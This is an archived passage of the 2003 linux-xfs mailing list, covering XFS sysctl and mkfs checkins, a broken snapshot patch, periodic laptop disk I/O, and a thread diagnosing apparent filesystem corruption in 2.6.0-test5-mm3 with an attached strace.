linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@stout.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 653 Lines: 24 Update sysctls - use ints, not ulongs, and show pagebuf values in jiffies like everybody else Date: Fri Sep 19 11:12:29 PDT 2003 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158665a linux/fs/xfs/xfs_error.c - 1.48 linux/fs/xfs/xfs_error.h - 1.36 linux/fs/xfs/pagebuf/page_buf_internal.h - 1.29 linux/fs/xfs/pagebuf/page_buf.c - 1.132 linux/fs/xfs/linux/xfs_sysctl.c - 1.28 linux/fs/xfs/linux/xfs_sysctl.h - 1.21 Modid: 2.4.x-xfs:slinx:158665b linux/Documentation/filesystems/xfs.txt - 1.14 From owner-linux-xfs@oss.sgi.com Fri Sep 19 12:29:02 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 19 Sep 2003 12:29:20 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JJT1Fx021466 for ; Fri, 19 Sep 2003 12:29:01 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8JJkfss010591 for ; Fri, 19 Sep 2003 14:46:41 -0500 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8JJStcc11734637 for ; Fri, 19 Sep 2003 14:28:55 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8JJSuK1715423 for ; Fri, 19 Sep 2003 14:28:56 -0500 (CDT) Subject: Re: PARTIAL TAKE 901010 - Update sysctls From: Eric Sandeen To: linux-xfs@oss.sgi.com In-Reply-To: <200309191813.h8JID1Ks014137@stout.americas.sgi.com> References: <200309191813.h8JID1Ks014137@stout.americas.sgi.com> Content-Type: text/plain Organization: Message-Id: <1063999735.13572.5.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 19 Sep 2003 14:28:55 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 453 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 472 Lines: 16 If anyone has sysctl.conf settings modifying flush times for for pagebuf, you'll need to take another look - settings are now in Hz, not milliseconds. i.e. on i386 "30 seconds" is now "3000" -Eric On Fri, 2003-09-19 at 13:13, Eric Sandeen wrote: > Update sysctls - use ints, not ulongs, and show pagebuf > values in jiffies like everybody else -- Eric Sandeen [C]XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Sep 19 15:05:18 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 19 Sep 2003 15:05:36 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JM5HFx004227 for ; Fri, 19 Sep 2003 15:05:17 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8JK83OO005447 for ; Fri, 19 Sep 2003 13:08:03 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8JM5Bcc11739780 for ; Fri, 19 Sep 2003 17:05:11 -0500 (CDT) Received: from sgi.com (chuckle.americas.sgi.com [128.162.241.66]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8JM5CRn288541009 for ; Fri, 19 Sep 2003 17:05:12 -0500 (CDT) Received: from chuckle.americas.sgi.com (localhost [127.0.0.1]) by sgi.com (8.12.8/8.12.8) with ESMTP id h8JM5BmP023882 for ; Fri, 19 Sep 2003 17:05:11 -0500 Received: (from cattelan@localhost) by chuckle.americas.sgi.com (8.12.8/8.12.8/Submit) id h8JM5BiH023880 for linux-xfs@oss.sgi.com; Fri, 19 Sep 2003 17:05:11 -0500 Date: Fri, 19 Sep 2003 17:05:11 -0500 From: Russell Cattelan Message-Id: <200309192205.h8JM5BiH023880@chuckle.americas.sgi.com> Subject: TAKE - proto file handling fix X-archive-position: 454 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@chuckle.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 373 Lines: 15 Small fix in the proto file parsing code. use char type for looking at char's also strcmp doesn't like having null passed to it. Date: Fri Sep 19 15:04:49 PDT 2003 Workarea: chuckle.americas.sgi.com:/go/xfs2/XFS/xfs-cmds The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-cmds Modid: xfs-cmds:slinx:158693a xfsprogs/mkfs/proto.c - 1.12 From owner-linux-xfs@oss.sgi.com Sat Sep 20 14:10:59 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 20 Sep 2003 14:11:16 -0700 (PDT) Received: from smtp-out4.iol.cz (smtp-out4.iol.cz [194.228.2.92]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KLAvFx029040 for ; Sat, 20 Sep 2003 14:10:59 -0700 Received: from alienAngel.upjs.sk (gprs149-187.eurotel.cz [160.218.149.187]) by smtp-out4.iol.cz (Internet on Line ESMTP server) with ESMTP id 9085430878 for ; Sat, 20 Sep 2003 23:10:49 +0200 (CEST) Received: from localhost (ja@localhost) by alienAngel.upjs.sk (8.12.7/8.12.6/Submit) with ESMTP id h8KLBRBc030864 for ; Sat, 20 Sep 2003 23:11:31 +0200 X-Authentication-Warning: alienAngel.home.sk: ja owned process doing -bs Date: Sat, 20 Sep 2003 23:11:27 +0200 (CEST) From: Jan Derfinak X-X-Sender: ja@alienAngel.home.sk To: linux-xfs@oss.sgi.com Subject: weekly snapshot Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 455 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ja@mail.upjs.sk Precedence: bulk X-list: linux-xfs Content-Length: 453 Lines: 23 Hello. Snap patch linux-2.4.22-xfs-2003-09-19.patch.bz2 doesn't apply to vanilla 2.4.22: . . . patching file drivers/scsi/53c8xx_u.h patching file drivers/scsi/sim710_d.h patching file drivers/scsi/sim710_u.h patching file drivers/sound/ac97_codec.c Reversed (or previously applied) patch detected! Assume -R? [n] If this is known issue, I'm curious to which kernel version is this patch intended? And why it touches sound drivers? jan -- From owner-linux-xfs@oss.sgi.com Sat Sep 20 14:55:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 20 Sep 2003 14:55:50 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KLtaFx030584 for ; Sat, 20 Sep 2003 14:55:36 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8KJwPOO007246 for ; Sat, 20 Sep 2003 12:58:25 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8KLtTcc11723620; Sat, 20 Sep 2003 16:55:29 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8KLtTK2827607; Sat, 20 Sep 2003 16:55:29 -0500 (CDT) Date: Sat, 20 Sep 2003 16:55:29 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Jan Derfinak cc: linux-xfs@oss.sgi.com Subject: Re: weekly snapshot In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 456 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 211 Lines: 11 I'll look into it; the snapshot patch script isn't great. :) -Eric On Sat, 20 Sep 2003, Jan Derfinak wrote: > Hello. > > Snap patch linux-2.4.22-xfs-2003-09-19.patch.bz2 doesn't apply to vanilla > 2.4.22: From owner-linux-xfs@oss.sgi.com Sun Sep 21 04:18:04 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 04:18:26 -0700 (PDT) Received: from smtp-out3.iol.cz (smtp-out3.iol.cz [194.228.2.91]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LBI3Fx005611 for ; Sun, 21 Sep 2003 04:18:04 -0700 Received: from alienAngel.upjs.sk (gprs151-99.eurotel.cz [160.218.151.99]) by smtp-out3.iol.cz (Internet on Line ESMP server) with ESMTP id DD6EF33E73; Sun, 21 Sep 2003 13:17:56 +0200 (CEST) Received: from localhost (ja@localhost) by alienAngel.upjs.sk (8.12.7/8.12.6/Submit) with ESMTP id h8LBJkcj001078; Sun, 21 Sep 2003 13:19:50 +0200 X-Authentication-Warning: alienAngel.home.sk: ja owned process doing -bs Date: Sun, 21 Sep 2003 13:19:46 +0200 (CEST) From: Jan Derfinak X-X-Sender: ja@alienAngel.home.sk To: Eric Sandeen Cc: linux-xfs@oss.sgi.com Subject: Re: weekly snapshot In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 457 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ja@mail.upjs.sk Precedence: bulk X-list: linux-xfs Content-Length: 136 Lines: 10 On Sat, 20 Sep 2003, Eric Sandeen wrote: > Give it another shot, things went wacky for a while. Thanks. It seems good. jan -- From owner-linux-xfs@oss.sgi.com Sun Sep 21 05:16:40 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 05:17:14 -0700 (PDT) Received: from hell.org.pl (qmailr@hell.org.pl [212.244.218.42]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LCGcFx016643 for ; Sun, 21 Sep 2003 05:16:39 -0700 Received: (qmail 2678 invoked by uid 777); 21 Sep 2003 12:21:37 -0000 Date: Sun, 21 Sep 2003 14:21:37 +0200 From: Karol Kozimor To: Steve Lord Cc: Simon Matter , Nathan Scott , Jeremy Field , linux-xfs@oss.sgi.com Subject: Re: xfssyncd syncing every five seconds? Message-ID: <20030921122137.GA10010@hell.org.pl> Mail-Followup-To: Steve Lord , Simon Matter , Nathan Scott , Jeremy Field , linux-xfs@oss.sgi.com References: <20030918020632.GA18362@wylde.fl.net.au> <20030918122113.A6939@wobbly.melbourne.sgi.com> <20030918025301.GA18791@wylde.fl.net.au> <20030918134329.B6939@wobbly.melbourne.sgi.com> <51664.213.173.165.140.1063926808.squirrel@imap01.ch.sauter-bc.com> <1063937479.1811.19.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Disposition: inline In-Reply-To: <1063937479.1811.19.camel@laptop.americas.sgi.com> User-Agent: Mutt/1.4.1i X-archive-position: 458 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sziwan@hell.org.pl Precedence: bulk X-list: linux-xfs Content-Length: 898 Lines: 22 Thus wrote Steve Lord: > I could gripe about folks reporting this after the release, rather > than before it... I just logged into my workstation from home, and > watched it for a minute or two, zero I/O during this time. On the > other hand, my laptop does appear to be doing periodic I/O and it > does seem to be every 5 seconds. I have also had a report of someone > not being able to keep their disks spun down in 2.6 on a laptop. > > Scratching my head so far, 5 seconds does not really tie up with > any xfs thread. Please do search for laptop-mode patches published on lkml several times. They have a sysctl setting that, when turned on, dumps the processes or threads doing I/O on screen. Using that patch, I was able to successfully spin my disk down to about 1 minute (the maximum sysctl setting for xfssyncd or the other). Best regards, -- Karol 'sziwan' Kozimor sziwan@hell.org.pl From owner-linux-xfs@oss.sgi.com Sun Sep 21 08:47:44 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 08:47:52 -0700 (PDT) Received: from waltsathlon.localhost.net (12-229-144-126.client.attbi.com [12.229.144.126]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LFlhFx003980 for ; Sun, 21 Sep 2003 08:47:43 -0700 Received: from comcast.net (waltsathlon.localhost.net [192.168.0.1]) by waltsathlon.localhost.net (Postfix) with ESMTP id B4B35F9F3E; Sun, 21 Sep 2003 08:47:37 -0700 (PDT) Message-ID: <3F6DC819.8060003@comcast.net> Date: Sun, 21 Sep 2003 08:47:37 -0700 From: Walt H User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030914 X-Accept-Language: en-us MIME-Version: 1.0 To: linux-kernel , Linux XFS Mailing List Subject: 2.6.0-test5-mm3 & XFS FS Corruption X-Enigmail-Version: 0.76.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------050407030401040203000809" X-archive-position: 459 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: waltabbyh@comcast.net Precedence: bulk X-list: linux-xfs Content-Length: 5563 Lines: 84 This is a multi-part message in MIME format. --------------050407030401040203000809 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, Just recently upgraded to 2.6.0-test5-mm3 and am experiencing some corruption issues on an XFS filesystem. I've been tracking the mm series through the 2.6.0-test kernels and this is the first I've seen. I use rsync to backup a volume on a software raid device to another raid set created from device mapper. The target is a 2 drive setup connected to a PDC20276 which is defined as a raid0 in the Promise BIOS. There's no ata-raid in 2.6 yet, so I use dm which works fine. An rsync from the software raid to the Promise set results in FS corruption on an XFS filesystem. The rsync will usually complete, but I am unable to use the filesystem afterward. I have a backup fstab that needs to be copied and it results in "Operation not permitted", strace'd output attached. If I umount the filesystem and run xfs_repair on it, it will proceed till the end where it rebuilds directory inode 256 - this is the only item needing repair. This happens every time. I can then mount it and copy my file with no problem. This corruption is consistent and so far has happened each time I use rsync to backup since going to -mm3. I've tried patching in a CVS pull of the xfs filesystem from 9/20/2003 and have the same results. Any ideas? Let me know if you need more information or would like me to try something. Thanks, -Walt --------------050407030401040203000809 Content-Type: text/plain; name="fstab-strace.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="fstab-strace.txt" execve("/bin/cp", ["cp", "fstab.backup", "fstab"], [/* 41 vars */]) = 0 uname({sysname="Linux", nodename="waltsathlon.localhost.net", release="2.6.0-test5-mm3", version="#2 SMP Fri Sep 19 19:34:53 PDT 2003", machine="i686"}) = 0 brk(0) = 0x8056000 open("/etc/ld.so.preload", O_RDONLY) = 3 fstat64(3, {st_dev=makedev(9, 4), st_ino=1711, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=131072, st_blocks=0, st_size=0, st_atime=2003/09/19-20:20:20, st_mtime=2003/09/02-20:05:15, st_ctime=2003/09/02-20:05:15}) = 0 close(3) = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_dev=makedev(9, 4), st_ino=606953, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=131072, st_blocks=216, st_size=107854, st_atime=2003/09/20-21:38:16, st_mtime=2003/09/20-21:06:32, st_ctime=2003/09/20-21:06:32}) = 0 mmap2(NULL, 107854, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40000000 close(3) = 0 open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`\0305A"..., 1024) = 1024 fstat64(3, {st_dev=makedev(9, 4), st_ino=686802, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=131072, st_blocks=2840, st_size=1452573, st_atime=2003/09/20-21:38:16, st_mtime=2003/08/08-20:07:48, st_ctime=2003/09/12-07:10:22}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001b000 mmap2(0x4133c000, 1215204, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4133c000 mprotect(0x4145f000, 23268, PROT_NONE) = 0 mmap2(0x4145f000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x122) = 0x4145f000 mmap2(0x41463000, 6884, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x41463000 close(3) = 0 munmap(0x40000000, 107854) = 0 brk(0) = 0x8056000 brk(0x8057000) = 0x8057000 brk(0) = 0x8057000 geteuid32() = 0 umask(0) = 022 lstat64("fstab", {st_dev=makedev(254, 4), st_ino=12583479, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=838, st_atime=2003/09/20-21:33:54, st_mtime=2003/09/19-20:11:19, st_ctime=2003/09/20-21:33:54}) = 0 stat64("fstab", {st_dev=makedev(254, 4), st_ino=12583479, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=838, st_atime=2003/09/20-21:33:54, st_mtime=2003/09/19-20:11:19, st_ctime=2003/09/20-21:33:54}) = 0 stat64("fstab.backup", {st_dev=makedev(254, 4), st_ino=12583203, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=697, st_atime=2003/09/20-08:32:58, st_mtime=2003/07/14-16:29:28, st_ctime=2003/07/15-17:38:17}) = 0 stat64("fstab", {st_dev=makedev(254, 4), st_ino=12583479, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=838, st_atime=2003/09/20-21:33:54, st_mtime=2003/09/19-20:11:19, st_ctime=2003/09/20-21:33:54}) = 0 open("fstab.backup", O_RDONLY|O_LARGEFILE) = 3 fstat64(3, {st_dev=makedev(254, 4), st_ino=12583203, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=697, st_atime=2003/09/20-08:32:58, st_mtime=2003/07/14-16:29:28, st_ctime=2003/07/15-17:38:17}) = 0 open("fstab", O_WRONLY|O_TRUNC|O_LARGEFILE) = -1 EPERM (Operation not permitted) write(2, "cp: ", 4cp: ) = 4 write(2, "cannot create regular file `fsta"..., 34cannot create regular file `fstab') = 34 write(2, ": Operation not permitted", 25: Operation not permitted) = 25 write(2, "\n", 1 ) = 1 close(3) = 0 _exit(1) = ? --------------050407030401040203000809-- From owner-linux-xfs@oss.sgi.com Sun Sep 21 11:08:48 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 11:08:52 -0700 (PDT) Received: from waltsathlon.localhost.net (12-229-144-126.client.attbi.com [12.229.144.126]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LI8lFx007697 for ; Sun, 21 Sep 2003 11:08:48 -0700 Received: from comcast.net (waltsathlon.localhost.net [192.168.0.1]) by waltsathlon.localhost.net (Postfix) with ESMTP id 31893942EA; Sun, 21 Sep 2003 11:08:42 -0700 (PDT) Message-ID: <3F6DE929.4040904@comcast.net> Date: Sun, 21 Sep 2003 11:08:41 -0700 From: Walt H User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030914 X-Accept-Language: en-us MIME-Version: 1.0 To: Walt H Cc: linux-kernel , Linux XFS Mailing List Subject: Re: 2.6.0-test5-mm3 & XFS FS Corruption (or not?) References: <3F6DC819.8060003@comcast.net> In-Reply-To: <3F6DC819.8060003@comcast.net> X-Enigmail-Version: 0.76.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 460 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: waltabbyh@comcast.net Precedence: bulk X-list: linux-xfs Content-Length: 792 Lines: 16 Just a follow-up to my earlier post: I've put in the xfs code from mm2 into the mm3 tree and all files get copied and I can manually copy the fstab.backup file afterward. I realized that the "rebuilding directory inode 256" was the lost+found directory, which contained 4 old zero length files. That was the key. XFS under -mm2 doesn't care about old lost+found directories, while -mm3 does. If I removed the source lost+found/ and retried rsync's with -mm3, it finishes fine and I can copy fstab files. Adding a bogus lost+found dir with any file in it at the source, and retrying the rsync will lead to a state where I can't overwrite the existing /etc/fstab file at the end. So it doesn't look like there's actually any filesystem corruption, just a strange bug. Hope that helps, -Walt From owner-linux-xfs@oss.sgi.com Sun Sep 21 12:48:33 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 12:48:39 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LJmXFx011541 for ; Sun, 21 Sep 2003 12:48:33 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8LJmRq0032138 for ; Sun, 21 Sep 2003 12:48:28 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8LJmRcc11644520; Sun, 21 Sep 2003 14:48:27 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-48.corp.sgi.com [134.15.64.48]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8LJmQRn286809593; Sun, 21 Sep 2003 14:48:26 -0500 (CDT) Subject: Re: 2.6.0-test5-mm3 & XFS FS Corruption (or not?) From: Steve Lord To: Walt H Cc: Linux Kernel , Linux XFS Mailing List In-Reply-To: <3F6DE929.4040904@comcast.net> References: <3F6DC819.8060003@comcast.net> <3F6DE929.4040904@comcast.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-11) Date: 21 Sep 2003 14:48:15 -0500 Message-Id: <1064173697.2285.4.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 461 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1375 Lines: 32 On Sun, 2003-09-21 at 13:08, Walt H wrote: > Just a follow-up to my earlier post: > > I've put in the xfs code from mm2 into the mm3 tree and all files get > copied and I can manually copy the fstab.backup file afterward. I > realized that the "rebuilding directory inode 256" was the lost+found > directory, which contained 4 old zero length files. That was the key. > XFS under -mm2 doesn't care about old lost+found directories, while -mm3 > does. If I removed the source lost+found/ and retried rsync's with -mm3, > it finishes fine and I can copy fstab files. Adding a bogus lost+found > dir with any file in it at the source, and retrying the rsync will lead > to a state where I can't overwrite the existing /etc/fstab file at the > end. So it doesn't look like there's actually any filesystem corruption, > just a strange bug. Hope that helps, > > -Walt > If I am correct, test5-mm3 contains a bad version of the xfs code, there was a bug where the i_flags field was setup from an uninitialized stack variable. mm3 came out during the two days this was in Linus's tree. I had some very odd behavior with this code base, rm -r -f would try and cd into files and other bizzare things, files could appear to be immutable or append only or things they were not. This sounds like similar behavior you that you saw. It is fixed in the latest code Linus has. Steve From owner-linux-xfs@oss.sgi.com Sun Sep 21 18:01:13 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 18:01:19 -0700 (PDT) Received: from waltsathlon.localhost.net (12-229-144-126.client.attbi.com [12.229.144.126]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M11CFx020837 for ; Sun, 21 Sep 2003 18:01:12 -0700 Received: from comcast.net (waltsathlon.localhost.net [192.168.0.1]) by waltsathlon.localhost.net (Postfix) with ESMTP id E6ED210039B; Sun, 21 Sep 2003 18:01:06 -0700 (PDT) Message-ID: <3F6E49D2.8060901@comcast.net> Date: Sun, 21 Sep 2003 18:01:06 -0700 From: Walt H User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030914 X-Accept-Language: en-us MIME-Version: 1.0 To: Steve Lord Cc: Linux Kernel , Linux XFS Mailing List Subject: Re: 2.6.0-test5-mm3 & XFS FS Corruption (or not?) References: <3F6DC819.8060003@comcast.net> <3F6DE929.4040904@comcast.net> <1064173697.2285.4.camel@laptop.americas.sgi.com> In-Reply-To: <1064173697.2285.4.camel@laptop.americas.sgi.com> X-Enigmail-Version: 0.76.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 462 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: waltabbyh@comcast.net Precedence: bulk X-list: linux-xfs Content-Length: 793 Lines: 23 Steve Lord wrote: > > If I am correct, test5-mm3 contains a bad version of the xfs code, there > was a bug where the i_flags field was setup from an uninitialized stack > variable. mm3 came out during the two days this was in Linus's tree. > I had some very odd behavior with this code base, rm -r -f would try and > cd into files and other bizzare things, files could appear to be > immutable or append only or things they were not. This sounds like > similar behavior you that you saw. It is fixed in the latest code Linus > has. > > Steve Thanks for the reply Steve. I'm guessing that this code hasn't hit CVS yet, as I can still reproduce it with a current CVS @ 9/21/03 ~ 17:30 PST Sounds like this is a known issue, so I'll just go back to the xfs code from -mm2 for now. -Walt From owner-linux-xfs@oss.sgi.com Sun Sep 21 18:15:06 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 21 Sep 2003 18:15:21 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1F5Fx022354 for ; Sun, 21 Sep 2003 18:15:05 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h8M1VkHc023682 for ; Sun, 21 Sep 2003 20:31:47 -0500 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA08206; Mon, 22 Sep 2003 11:14:56 +1000 Received: from frodo.melbourne.sgi.com (root@frodo.melbourne.sgi.com [134.14.55.153]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h8M1EtYN028881; Mon, 22 Sep 2003 11:14:55 +1000 (EST) Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) with ESMTP id h8M1CgS7001187; Mon, 22 Sep 2003 11:12:42 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) id h8M1CfUv001185; Mon, 22 Sep 2003 11:12:41 +1000 Date: Mon, 22 Sep 2003 11:12:41 +1000 From: Nathan Scott To: Walt H Cc: Linux Kernel , Linux XFS Mailing List Subject: Re: 2.6.0-test5-mm3 & XFS FS Corruption (or not?) Message-ID: <20030922011241.GA1043@frodo> References: <3F6DC819.8060003@comcast.net> <3F6DE929.4040904@comcast.net> <1064173697.2285.4.camel@laptop.americas.sgi.com> <3F6E49D2.8060901@comcast.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3F6E49D2.8060901@comcast.net> User-Agent: Mutt/1.5.3i X-archive-position: 463 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1413 Lines: 39 On Sun, Sep 21, 2003 at 06:01:06PM -0700, Walt H wrote: > Steve Lord wrote: > > > > If I am correct, test5-mm3 contains a bad version of the xfs code, there > > was a bug where the i_flags field was setup from an uninitialized stack > > variable. mm3 came out during the two days this was in Linus's tree. > > I had some very odd behavior with this code base, rm -r -f would try and > > cd into files and other bizzare things, files could appear to be > > immutable or append only or things they were not. This sounds like > > similar behavior you that you saw. It is fixed in the latest code Linus > > has. > > Thanks for the reply 